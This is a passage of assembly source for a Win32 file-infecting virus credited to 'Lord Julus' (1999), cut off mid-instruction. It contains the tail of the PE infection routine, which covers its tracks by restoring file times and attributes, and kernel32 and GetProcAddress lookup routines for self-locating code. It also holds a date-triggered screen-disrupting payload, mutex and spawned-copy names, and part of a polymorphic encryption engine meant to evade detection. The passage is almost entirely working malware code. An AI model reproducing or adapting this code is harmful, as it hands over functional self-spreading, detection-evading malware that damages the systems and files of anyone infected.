prepare to call the poly ; engine: mov ebx, eax ; EBX = code to decrypt at add ebx, [ebp+imagebase] ; runtime add ebx, offset start_of_code-offset start ; (adjustment) mov esi, dword ptr [ebp+smth] ; ESI = code to encrypt in add esi, offset start_of_code-offset start ; memory mov edi, esi ; EDI = where to place the add edi, offset decrypt-offset start_of_code; decryptor mov ecx, end_of_code-start_of_code ; ECX = size of code to crypt shr ecx, 2 ; be sure is divisible by shl ecx, 2 ; 4 ; Call MOF32 ; Call MOF32 ; mov edi, [ebp+the_end] ; go to the end sub esi, edi ; and store a JMP there... mov al, 0E9h ; stosb ; mov eax, esi ; a jmp to the beginning of sub eax, 3 ; the real code stosd ; ; mov ecx, dword ptr [ebp+offset filesize] ; put zeroes until the end add ecx, [ebp+mapaddress] ; of file so no mess is sub ecx, edi ; found there (the mess mov edi, [ebp+end_end] ; mov al, 0 ; which remains is because rep stosb ; of the alignment) popad ; restore registers ; mov edi, dword ptr [ebp+smth] ; mutate initial jump add edi, offset jump_code-offset start ; mov eax, dword ptr [ebp+first_intend] ; with the first intend add dword ptr [edi+1], eax ; unmap_view: ; mov eax, [ebp+mapaddress] ; push eax ; unmap the view call [ebp+_UnmapViewOfFile] ; ; close_map: ; mov eax, [ebp+maphandle] ; push eax ; close the map call [ebp+_CloseHandle] ; ; close_file: ; push 0 ; first we must set the file push 0 ; pointer at the end of file push dword ptr [ebp+offset filesize]; push dword ptr [ebp+offset handle1]; call [ebp+_SetFilePointer] ; ; push dword ptr [ebp+offset handle1]; ...and then mark the end of call [ebp+_SetEndOfFile] ; file... ; lea ebx, [ebp+offset filetime] ; restore the file time push ebx ; add ebx, 8 ; push ebx ; add ebx, 8 ; push ebx ; push dword ptr [ebp+offset handle1]; call dword ptr [ebp+_SetFileTime] ; ; mov eax, [ebp+handle1] ; push eax ; close the file... call [ebp+_CloseHandle] ; ; push dword ptr [ebp+offset fileattributes] ; restore the file attribs push dword ptr [ebp+offset fileofs]; call [ebp+_SetFileAttributes] ; ; file_error: ; ret ; InfectFile endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Locate Kernel32 base address ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; ; Entry: EAX = dword on stack at startup ; EDX = pointer to kernel32 name ; ; Return: EAX = base address of kernel32 if success ; EAX = 0, CF set if fail LocateKernel32 proc near pushad ; save all registers lea ebx, dword ptr [ebp+try_method_2_error] ; first set up a seh push ebx ; frame so that if our push dword ptr fs:[0] ; first method crashes mov fs:[0], esp ; we will find ourselves ; in the second method locateloop: ; cmp dword ptr [eax+0b4h], eax ; first method looks for je found_k32_kill_seh ; the k32 by checking for dec eax ; the equal dword at 0b4 cmp eax, 40000000h ; jbe try_method_2 ; jmp locateloop ; ; found_k32_kill_seh: ; if we found it, then we pop dword ptr fs:[0] ; must destroy the temp add esp, 4 ; seh frame mov dr0, eax ; save k32 base in DR0 jmp found_k32 ; ; try_method_2_error: ; if the first method gave mov esp, [esp+8] ; and exception error we ; must restore the stack try_method_2: ; pop dword ptr fs:[0] ; restore the seh state add esp, 4 ; popad ; restore registers and pushad ; save them again ; and go on w/ method two mov ebx, dword ptr [ebp+imagebase] ; now put imagebase in ebx mov esi, ebx ; cmp word ptr [esi], 'ZM' ; check if it is an EXE jne notfound_k32 ; mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE cmp esi, 1000h ; too far away? jae notfound_k32 ; add esi, ebx ; cmp word ptr [esi], 'EP' ; is it a PE? jne notfound_k32 ; add esi, IMAGE_FILE_HEADER_SIZE ; skip header mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress] add edi, ebx ; and get import RVA mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size] add ecx, edi ; and import size mov eax, edi ; save RVA ; locateloop2: ; mov edi, dword ptr [edi.ID_Name] ; get the name add edi, ebx ; cmp dword ptr [edi], 'NREK' ; and compare to KERN je found_the_kernel_import ; if it is not that one add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc. mov edi, eax ; cmp edi, ecx ; but not beyond the size jae notfound_k32 ; of the descriptor jmp locateloop2 ; ; found_the_kernel_import: ; if we found the kernel mov edi, eax ; import descriptor mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to add esi, ebx ; addresses mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to add edi, ebx ; names ; gha_locate_loop: ; push edi ; save pointer to names mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk add edi, ebx ; add edi, 2 ; and skip the hint ; push edi esi ; save these lea esi, dword ptr [ebp+getmodulehandle] ; and point the name of mov ecx, getmodulehandlelen ; GetModuleHandleA rep cmpsb ; see if it is that one je found_getmodulehandle ; if so... pop esi edi ; otherwise restore ; pop edi ; restore arrays indexes add edi, 4 ; and skip to next add esi, 4 ; cmp dword ptr [esi], 0 ; 0? -> end of import je notfound_k32 ; jmp gha_locate_loop ; ; found_getmodulehandle: ; pop esi ; restore stack pop edi ; pop edi ; ; push edx ; push kernel32 name mov esi, [esi] ; esi = GetModuleHandleA call esi ; address... mov dr0, eax ; DR0 holds k32 base!! or eax, eax ; jz notfound_k32 ; ; found_k32: ; popad ; restore all regs and mov eax, dr0 ; put k32 in EAX clc ; and mark success ret ; ; notfound_k32: ; popad ; restore all regs xor eax, eax ; and mark the failure... stc ; ret ; LocateKernel32 endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Locate GetProcAddress ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; ; Entry: EAX = base of kernel32 ; EDX = pointer to GetProcAddress name ; ; Return: EAX = address of GetProcAddress if success ; EAX = 0, CF set if fail LocateGetProcAddress proc near ; pushad ; mov ebx, eax ; save the kernel base mov edi, eax ; cmp word ptr [edi], 'ZM' ; is it an exe? jne notfoundgpa ; ; mov edi, dword ptr [edi.MZ_lfanew] ; cmp edi, 1000h ; jae notfoundgpa ; ; add edi, ebx ; cmp word ptr [edi], 'EP' ; is it a PE? jne notfoundgpa ; ; add edi, IMAGE_FILE_HEADER_SIZE ; skip file header ; mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress] add edi, ebx ; and get export RVA ; mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names ; to look into mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names add esi, ebx ; align to base rva ; push edi ; save pointer to export ; gpa_locate_loop: ; mov edi, [esi] ; get one name address add edi, ebx ; and align it ; push ecx esi ; save counter and addr. ; mov esi, edx ; compare to GetProcAddress mov ecx, getprocaddresslen ; rep cmpsb ; je foundgpa ; ; pop esi ecx ; restore them ; add esi, 4 ; and get next name loop gpa_locate_loop ; ; notfoundgpa: ; we didn't find it... pop edi ; popad ; xor eax, eax ; mark failure stc ; ret ; ; foundgpa: ; pop esi ecx ; ecx = how many did we pop edi ; check from total, but sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder neg ecx ; of the search mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals add eax, ebx ; shl ecx, 1 ; and look using the index add eax, ecx ; xor ecx, ecx ; mov cx, word ptr [eax] ; take the ordinal mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs. add eax, ebx ; shl ecx, 2 ; we look in a dword array add eax, ecx ; go to the function addr mov eax, [eax] ; take it's address add eax, ebx ; and align it to k32 base mov dr0, eax ; save it in dr0 popad ; restore all regs mov eax, dr0 ; and mark success clc ; ret ; LocateGetProcAddress endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; General module retriving routine ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; ; Entry: EDI = pointer to module name ; ; Return: EAX = module base address if success ; EAX = 0, CF set if fail LocateModuleBase proc near ; pushad ; save regs push edi ; push name call dword ptr [ebp+_GetModuleHandleA] ; call GetModuleHandleA mov dr0, eax ; popad ; mov eax, dr0 ; or eax, eax ; jz notfoundmodule ; clc ; success ret ; ; notfoundmodule: ; stc ; fail ret ; LocateModuleBase endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; General API address retriving routine ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; ; Entry: EAX = base address of the module ; EBX = address of GetProcAddress ; EDI = pointer to api names list (each item null terminated, ; list terminated with 0FFh) ; ESI = pointer to api addresses list ; ; Return: CF clear if success and list at ESI filled with API addresses ; CF set if fail LocateApiAddresses proc near ; pushad ; save all regs mov edx, eax ; save module base locate_apis_loop: ; cmp byte ptr [edi], 0FFh ; is it the end? je ready_apis ; ; push edx ; save base push edi ; push api name push edx ; push module base call ebx ; call GetProcAddress pop edx ; restore module base or eax, eax ; error? je error_finding_apis ; ; mov dword ptr [esi], eax ; save api address ; mov ecx, 100h ; look for the next mov al, 0 ; api name repnz scasb ; ; add esi, 4 ; increment array jmp locate_apis_loop ; ; ready_apis: ; popad ; all ok! clc ; ret ; ; error_finding_apis: ; popad ; error here... stc ; ret ; LocateApiAddresses endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Here we return to the host process or exit if first generation ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 exit proc near ; jmp restore_seh ; ; ExceptionExit: ; if we had an error we mov esp, [esp+8] ; must restore the ESP ; restore_seh: ; pop dword ptr fs:[0] ; and restore the SEH add esp, 4 ; returning to the host... ; or ebp, ebp ; is it generation 0? je generation0_exit ; ; popad ; ; push edi ; temporary save edi db 0bfh ; put delta in edi delta dd 0 ; ; cmp edi, 0 ; first generation ? je generation0_exit ; mov eax, [edi+offset oldeip] ; restore old EIP add eax, [edi+offset imagebase] ; align to memory push eax ; push ebx ; lea ebx, [edi+offset jump] ; calculate the length of sub eax, ebx ; the jump to the host sub eax, 4 ; mov dword ptr [edi+jump], eax ; and store the jump! pop ebx ; restore the last regs... pop eax ; pop edi ; ; db 0e9h ; this is JMP Original EIP jump dd 0 ; ; generation0_exit: ; exit from generation 0 popad ; push 0 ; call ExitProcess ; exit endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; The payload ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 payload proc near ; pusha ; Get time lea eax, [ebp+systemtime] ; push eax ; call [ebp+_GetSystemTime] ; ; lea esi, [ebp+systemtime] ; cmp [esi.ST_wDay], 7 ; is it 7th? jne no_payload ; cmp [esi.ST_wHour], 14d ; is it after 2PM? jb no_payload ; ; push 16 ; get screen width call [ebp+_GetSystemMetrics] ; mov [ebp+xmax], eax ; push 17 ; get screen height call [ebp+_GetSystemMetrics] ; mov [ebp+ymax], eax ; ; push 0 ; get device context handle call [ebp+_GetDC] ; mov [ebp+dchandle], eax ; ; push 00CC0020h ; make a small shrinked copy of push [ebp+xmax] ; the desktop area in the upper push [ebp+ymax] ; left corner. push 0 ; push 0 ; push [ebp+dchandle] ; push 100h ; push 100h ; push 0 ; push 0 ; push [ebp+dchandle] ; call [ebp+_StretchBlt] ; ; rep_move: ; and now display continously mov eax, [ebp+xmax] ; in random places the small copy call brandom32 ; of the desktop mov [ebp+x], eax ; mov eax, [ebp+ymax] ; call brandom32 ; mov [ebp+y], eax ; ; push 00CC0020h ; Flag to obtain the copy push 0 ; X value for source rectangle push 0 ; Y value for source rectangle push [ebp+dchandle] ; Device context for the rectangle to move push 100h ; rectangle width push 100h ; rectangle height push [ebp+x] ; X value for the destination rectangle push [ebp+y] ; Y value for the destination rectangle push [ebp+dchandle] ; Device context for the destination area Call [ebp+_BitBlt] ; ; push 01bh ; exit if ESC is pressed call [ebp+_GetAsyncKeyState] ; or eax, eax ; jz rep_move ; ; push 1000h ; and display a message box. lea eax, [ebp+payloadtitle] ; push eax ; lea eax, [ebp+payloadtext] ; push eax ; push 0 ; call [ebp+_MessageBoxA] ; jmp no_payload ; ; dchandle dd 0 ; x dd 0 ; y dd 0 ; xmax dd 0 ; ymax dd 0 ; payloadtitle db "Cargo (C) 1999 Lord Julus",0 payloadtext db 13,10, " Is this fun, or what? ",13,10,13,10 db " Heavy Metal rules!! ",13,10,13,10, 0 ; ; ; no_payload: ; popa ; ret ; payload endp ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 ; Equates, structures, data ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 IMAGE_DOS_HEADER STRUC ; DOS .EXE header MZ_magic DW ? ; Magic number MZ_cblp DW ? ; Bytes on last page of file MZ_cp DW ? ; Pages in file MZ_crlc DW ? ; Relocations MZ_cparhdr DW ? ; Size` of header in paragraphs MZ_minalloc DW ? ; Minimum extra paragraphs needed MZ_maxalloc DW ? ; Maximum extra paragraphs needed MZ_ss DW ? ; Initial (relative) SS value MZ_sp DW ? ; Initial SP value MZ_csum DW ? ; Checksum MZ_ip DW ? ; Initial IP value MZ_cs DW ? ; Initial (relative) CS value MZ_lfarlc DW ? ; File address of relocation table MZ_ovno DW ? ; Overlay number MZ_res DW 4 DUP(?) ; Reserved words MZ_oemid DW ? ; OEM identifier (for MZ_oeminfo) MZ_oeminfo DW ? ; OEM information; MZ_oemid specific MZ_res2 DW 10 DUP(?) ; Reserved words MZ_lfanew DD ? ; File address of new exe header IMAGE_DOS_HEADER ENDS ; IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER ; IMAGE_FILE_HEADER STRUC ; Portable Exe File PE_Magic DD ? ; Machine DW ? ; Machine type NumberOfSections DW ? ; Number of sections TimeDateStamp DD ? ; Date and Time PointerToSymbolTable DD ? ; Pointer to Symbols NumberOfSymbols DD ? ; Number of Symbols SizeOfOptionalHeader DW ? ; Size of Optional Header Characteristics DW ? ; File characteristics IMAGE_FILE_HEADER ENDS ; IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER ; IMAGE_DATA_DIRECTORY STRUC ; Image data directory DD_VirtualAddress DD ? ; Virtual address DD_Size DD ? ; Virtual size IMAGE_DATA_DIRECTORY ENDS ;;;;;;;;; ; IMAGE_DIRECTORY_ENTRIES STRUC ; All directories DE_Export IMAGE_DATA_DIRECTORY ? ; DE_Import IMAGE_DATA_DIRECTORY ? ; DE_Resource IMAGE_DATA_DIRECTORY ? ; DE_Exception IMAGE_DATA_DIRECTORY ? ; DE_Security IMAGE_DATA_DIRECTORY ? ; DE_BaseReloc IMAGE_DATA_DIRECTORY ? ; DE_Debug IMAGE_DATA_DIRECTORY ? ; DE_Copyright IMAGE_DATA_DIRECTORY ? ; DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ; DE_TLS IMAGE_DATA_DIRECTORY ? ; DE_LoadConfig IMAGE_DATA_DIRECTORY ? ; DE_BoundImport IMAGE_DATA_DIRECTORY ? ; DE_IAT IMAGE_DATA_DIRECTORY ? ; IMAGE_DIRECTORY_ENTRIES ENDS ; IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 ; ;;;;;;;;;;; IMAGE_OPTIONAL_HEADER STRUC ; Optional Header OH_Magic DW ? ; Magic word OH_MajorLinkerVersion DB ? ; Major Linker version OH_MinorLinkerVersion DB ? ; Minor Linker version OH_SizeOfCode DD ? ; Size of code section OH_SizeOfInitializedData DD ? ; Initialized Data OH_SizeOfUninitializedData DD ? ; Uninitialized Data OH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIP OH_BaseOfCode DD BYTE PTR ? ; Code Virtual Address OH_BaseOfData DD BYTE PTR ? ; Data Virtual Address OH_ImageBase DD BYTE PTR ? ; Base of image OH_SectionAlignment DD ? ; Section Alignment OH_FileAlignment DD ? ; File Alignment OH_MajorOperatingSystemVersion DW ? ; Major OS OH_MinorOperatingSystemVersion DW ? ; Minor OS OH_MajorImageVersion DW ? ; Major Image version OH_MinorImageVersion DW ? ; Minor Image version OH_MajorSubsystemVersion DW ? ; Major Subsys version OH_MinorSubsystemVersion DW ? ; Minor Subsys version OH_Win32VersionValue DD ? ; win32 version OH_SizeOfImage DD ? ; Size of image OH_SizeOfHeaders DD ? ; Size of Header OH_CheckSum DD ? ; unused OH_Subsystem DW ? ; Subsystem OH_DllCharacteristics DW ? ; DLL characteristic OH_SizeOfStackReserve DD ? ; Stack reserve OH_SizeOfStackCommit DD ? ; Stack commit OH_SizeOfHeapReserve DD ? ; Heap reserve OH_SizeOfHeapCommit DD ? ; Heap commit OH_LoaderFlags DD ? ; Loader flags OH_NumberOfRvaAndSizes DD ? ; Number of directories UNION ; directory entries OH_DataDirectory IMAGE_DATA_DIRECTORY\ IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?) OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? ENDS ; IMAGE_OPTIONAL_HEADER ENDS ; IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER ; IMAGE_SECTION_HEADER STRUC ; Section hdr. SH_Name DB 8 DUP(?) ; name UNION ; SH_PhysicalAddress DD BYTE PTR ? ; Physical address SH_VirtualSize DD ? ; Virtual size ENDS ; SH_VirtualAddress DD BYTE PTR ? ; Virtual address SH_SizeOfRawData DD ? ; Raw data size SH_PointerToRawData DD BYTE PTR ? ; pointer to raw data SH_PointerToRelocations DD BYTE PTR ? ; ... SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really used SH_NumberOfRelocations DW ? ; .... SH_NumberOfLinenumbers DW ? ; .. SH_Characteristics DD ? ; flags IMAGE_SECTION_HEADER ENDS ; IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER ; IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type IBN_Hint DW 0 ; Hint entry IBN_Name DB 1 DUP (?) ; name IMAGE_IMPORT_BY_NAME ENDS ; ; IMAGE_THUNK_DATA STRUC ; Thunk data UNION ; TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address after program load) TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function. ENDS ; IMAGE_THUNK_DATA ENDS ;;;;;;;;; ; IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor UNION ; ID_Characteristics DD ? ; 0 for last null import descriptor ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT ENDS ; ID_TimeDateStamp DD ? ; ID_ForwarderChain DD ? ; -1 if no forwarders ID_Name DD BYTE PTR ? ; RVA to name of imported DLL ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT IMAGE_IMPORT_DESCRIPTOR ENDS ; IMAGE_IMPORT_DESCRIPTOR_SIZE = SIZE IMAGE_IMPORT_DESCRIPTOR IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory type ED_Characteristics DD ? ; Flags ED_TimeDateStamp DD ? ; Date / Time ED_MajorVersion DW ? ; Major version ED_MinorVersion DW ? ; Minor version ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL UNION ; ED_Base DD ? ; base ED_BaseOrdinal DD ? ; base ordinal ENDS ; ED_NumberOfFunctions DD ? ; number of exported funcs. UNION ; ED_NumberOfNames DD ? ; number of exported names ED_NumberOfOrdinals DD ? ; number of exported ordinals ENDS ; ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses UNION ; ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinals ED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals ENDS ; IMAGE_EXPORT_DIRECTORY ENDS ; Filetime STRUC ; filetime structure FT_dwLowDateTime dd ? ; FT_dwHighDateTime dd ? ; Filetime ENDS ; ; win32_find_data STRUC ; FileAttributes dd ? ; attributes CreationTime Filetime ? ; time of creation LastAccessTime Filetime ? ; last access time LastWriteTime Filetime ? ; last modificationm FileSizeHigh dd ? ; filesize FileSizeLow dd ? ; -"- Reserved0 dd ? ; Reserved1_ dd ? ; FileName db 260 dup (?) ; long filename AlternateFileName db 13 dup (?) ; short filename db 3 dup (?) ; dword padding win32_find_data ENDS ; ; STARTUPINFO STRUC ; used by CreateProcess STI_cb DD ? ; STI_lpReserved DD BYTE PTR ? ; STI_lpDesktop DD BYTE PTR ? ; STI_lpTitle DD BYTE PTR ? ; STI_dwX DD ? ; STI_dwY DD ? ; STI_dwXSize DD ? ; STI_dwYSize DD ? ; STI_dwXCountChars DD ? ; STI_dwYCountChars DD ? ; STI_dwFillAttribute DD ? ; STI_dwFlags DD ? ; STI_wShowWindow DW ? ; STI_cbReserved2 DW ? ; STI_lpReserved2 DD BYTE PTR ? ; STI_hStdInput DD ? ; STI_hStdOutput DD ? ; STI_hStdError DD ? ; STARTUPINFO ENDS ; ; PROCESS_INFORMATION STRUC ; Created by CreateProcess PI_hProcess DD ? ; PI_hThread DD ? ; PI_dwProcessId DD ? ; PI_dwThreadId DD ? ; PROCESS_INFORMATION ENDS ; ;;;;;; PROCESSENTRY32 STRUC ; dwSize DD 0 ; goddamn this... >:-> cntUsage DD 0 ; th32ProcessID DD 0 ; th32DefaultHeapID DD 0 ; th32ModuleID DD 0 ; cntThreads DD 0 ; th32ParentProcessID DD 0 ; pcPriClassBase DD 0 ; dwFlags DD 0 ; szExeName DB 260 DUP(0) ; PROCESSENTRY32 ENDS ; ; SYSTEMTIME STRUC ; ST_wYear DW ? ; ST_wMonth DW ? ; ST_wDayOfWeek DW ? ; ST_wDay DW ? ; ST_wHour DW ? ; ST_wMinute DW ? ; ST_wSecond DW ? ; ST_wMilliseconds DW ? ; SYSTEMTIME ENDS ; ; startupinfo STARTUPINFO ? ; processinfo PROCESS_INFORMATION ? ; systemtime SYSTEMTIME ? ; process32 PROCESSENTRY32 ; our process32 spawnname db 260 dup (0) ; spawnfile db "\ograc.exe",0 ; the name of the spawned copy mutex db "cargo",0 ; mutex 1 mutex2 db "ograc",0 ; mutex 2 newimagebase label ; imagebase dd 00400000h ; the image base filehandle dd 0 ; filehandle filealign dd 0 ; file alignment nob dd 0 ; number of bytes temp dd 0 ; temp variable t32h dd 0 ; toolhelp snapshot handle IF DEBUG ; windowmessage db "Process closed: " ; file db 260 dup(0) ; windowtitle db "Win32.Cargo by Lord Julus",0 ; _name db 260 dup(?) ; ENDIF ; threadid dd 0 ; new thread ID hthread dd 0 ; new thread handle ; firstmemo dd 0 ; first array handle secondmemo dd 0 ; second array handle firstsize dd 0 ; first array size secondsize dd 0 ; second array size firstindex dd 0 ; first index secondindex dd 0 ; second index ; temp_mem_ptr dd 0 ; temp temp_mem_sze dd 0 ; temp ; flag dd 0 ; flags error dd 0 ; ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 k32_names label db "ExitProcess",0 db "CreateProcessA",0 db "GetStartupInfoA",0 db "GetCurrentProcess",0 db "SetPriorityClass",0 db "Sleep",0 db "GetCommandLineA",0 db "lstrlen",0 db "CloseHandle",0 db "CreateFileA",0 db "CreateMutexA",0 db "GetLastError",0 db "IsBadReadPtr",0 db "WriteFile",0 db "SetFilePointer",0 db "RegisterServiceProcess",0 db "GetProcAddress",0 db "GetModuleHandleA",0 db "CreateToolhelp32Snapshot",0 db "Process32First",0 db "Process32Next",0 db "CreateThread",0 db "WaitForSingleObject",0 db "ExitThread",0 db "ResumeThread",0 db "GlobalAlloc",0 db "GlobalReAlloc",0 db "GlobalFree",0 db "lstrcpy",0 db "SetThreadPriority",0 db "GetFileTime",0 db "SetFileTime",0 db "GetFileAttributesA",0 db "SetFileAttributesA",0 db "CreateFileMappingA",0 db "MapViewOfFile",0 db "UnmapViewOfFile",0 db "SetEndOfFile",0 db "GetFileSize",0 db "GetSystemTime",0 db "GetSystemDirectoryA",0 db "lstrcat",0 db 0FFh k32_apis label _ExitProcess dd 0 _CreateProcessA dd 0 _GetStartupInfoA dd 0 _GetCurrentProcess dd 0 _SetPriorityClass dd 0 _Sleep dd 0 _GetCommandLineA dd 0 _lstrlen dd 0 _CloseHandle dd 0 _CreateFileA dd 0 _CreateMutexA dd 0 _GetLastError dd 0 _IsBadReadPtr dd 0 _WriteFile dd 0 _SetFilePointer dd 0 _RegisterServiceProcess dd 0 _GetProcAddress dd 0 _GetModuleHandleA dd 0 _CreateToolhelp32Snapshot dd 0 _Process32First dd 0 _Process32Next dd 0 _CreateThread dd 0 _WaitForSingleObject dd 0 _ExitThread dd 0 _ResumeThread dd 0 _GlobalAlloc dd 0 _GlobalReAlloc dd 0 _GlobalFree dd 0 _lstrcpy dd 0 _SetThreadPriority dd 0 _GetFileTime dd 0 _SetFileTime dd 0 _GetFileAttributes dd 0 _SetFileAttributes dd 0 _CreateFileMappingA dd 0 _MapViewOfFile dd 0 _UnmapViewOfFile dd 0 _SetEndOfFile dd 0 _GetFileSize dd 0 _GetSystemTime dd 0 _GetSystemDirectoryA dd 0 _lstrcat dd 0 ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 u32_names label db "MessageBoxA",0 db "PeekMessageA",0 db "GetDC",0 db "GetAsyncKeyState",0 db "GetSystemMetrics",0 db 0FFh u32_apis label _MessageBoxA dd 0 _PeekMessageA dd 0 _GetDC dd 0 _GetAsyncKeyState dd 0 _GetSystemMetrics dd 0 ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 g32_names label db "StretchBlt",0 db "BitBlt",0 db 0FFh g32_apis label _StretchBlt dd 0 _BitBlt dd 0 ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北 kernel32_name db "KERNEL32.dll",0 user32_name db "USER32.dll",0 gdi32_name db "GDI32.dll",0 k32 dd 0 u32 dd 0 g32 dd 0 getprocaddress db "GetProcAddress",0 getprocaddresslen = $-offset getprocaddress getmodulehandle db "GetModuleHandleA",0 getmodulehandlelen = $-offset getmodulehandle oldeip dd 0 handle1 dd 0 filesize dd 0 maphandle dd 0 mapaddress dd 0 filetime dq 0 dq 0 dq 0 fileattributes dd 0 fileofs dd 0 PEheader dd 0 sectionalign dd 0 lastsection dd 0 smth dd 0 saved_jump dd 0 virussize = end-start ; 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 ; ; 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 ; 谀哪 谀哪 ; M鶸鶯鶷鶬鶳鶯鶨 O鶳鶦鶲鶧鶨 F鶤鶱鶷鶤鶶鶬鶨鶶 32 B鶬鶷 ; 滥哪 滥哪 ; 谀哪 a polymorphic engine wrote by 谀哪 ; ; 滥哪 LORD JULUS - 1999 (C) 滥哪 ; 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 ; ; 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 ; ; VERSION 2.5 ; ; Parameters on entry: ; ; ESI = offset to code to encrypt ; EDI = offset to the decryptor place ; EBX = address of the offset of code to decrypt at runtime ; ECX = length of code to decrypt ; ; Returns: nothing MOF32 proc near ; Here is the actual poly engine pushad ; body ; First let's encrypt the area that will be decrypted later call Choose_random_registers ; choose the random registers to use mov dword ptr [ebp+codeaddr], ebx push edi ; save decryptor place push ecx ; save code in bytes mov ebx, esi ; add ebx, ecx ; ebx points to the end sub ebx, 4 ; minus 1 dword shr ecx, 2 ; we work on dwords push ebx ecx ; call random32 ; get a random 32bit dword in EAX mov dword ptr [ebp+offset key], eax ; which is the encryption key call random32 ; mov dword ptr [ebp+offset keyvalue], eax ; the key increment mov eax, 20h ; the static key. call brandom32 ; inc eax ; mov dword ptr [ebp+offset key2], eax mov eax, 3 ; call brandom32 ; get a random value between 0-3 mov dword ptr [ebp+offset op1], eax ; the encryption method mov eax, 2 ; call brandom32 ; mov dword ptr [ebp+offset op2], eax ; the static key method mov eax, 3 ; call brandom32 ; mov dword ptr [ebp+offset op3], eax ; the 'next code' method mov eax, 3 ; call brandom32 ; mov dword ptr [ebp+offset op4], eax ; the operation over the key ; pop ecx ebx ; restore length and pointer mov eax, [ebp+key] ; put key in eax mov [ebp+offset codelength], ecx; ; First we encrypt the code 0 1 2 ; op1 = operation over code with the key register (XOR/ADD/SUB) ; op2 = operation over code with the static key (ROR/ROL) ; op3 = operation over code with next code (XOR/ADD/SUB) ; op4 = operation over the key with the keyvalue (XOR/ADD/SUB) mainloop: mov edx, dword ptr [ebx] ; edx = dword to encrypt push eax ebx ecx ; mov ecx, [ebp+op3] ; ecx = op3 mov eax, edx ; eax, dword ptr [ebx+4] mov ebx, dword ptr [ebx+4] ; call makeop ; do it! mov edx, eax ; pop ecx ebx eax ; push ecx ; mov ecx, [ebp+op2] ; ecx = op2 cmp ecx, 0 ; jne notror ; mov ecx, [ebp+key2] ; ror edx, cl ; ROR jmp over1 ; notror: ; mov ecx, [ebp+key2] ; rol edx, cl ; ROL over1: ; pop ecx ; push eax ebx ecx ; mov ecx, [ebp+op1] ; ecx = op1 mov ebx, eax ; we do edx, eax mov eax, edx ; call makeop ; mov edx, eax ; pop ecx ebx eax ; ; mov dword ptr [ebx], edx ; ; push ebx ecx ; cmp ecx, 1 ; je no_thankyou ; mov ecx, [ebp+op4] ; ecx = op4 mov ebx, [ebp+keyvalue] ; we do eax, keyvalue call makeop ; ; no_thankyou: ; pop ecx ebx ; ; sub 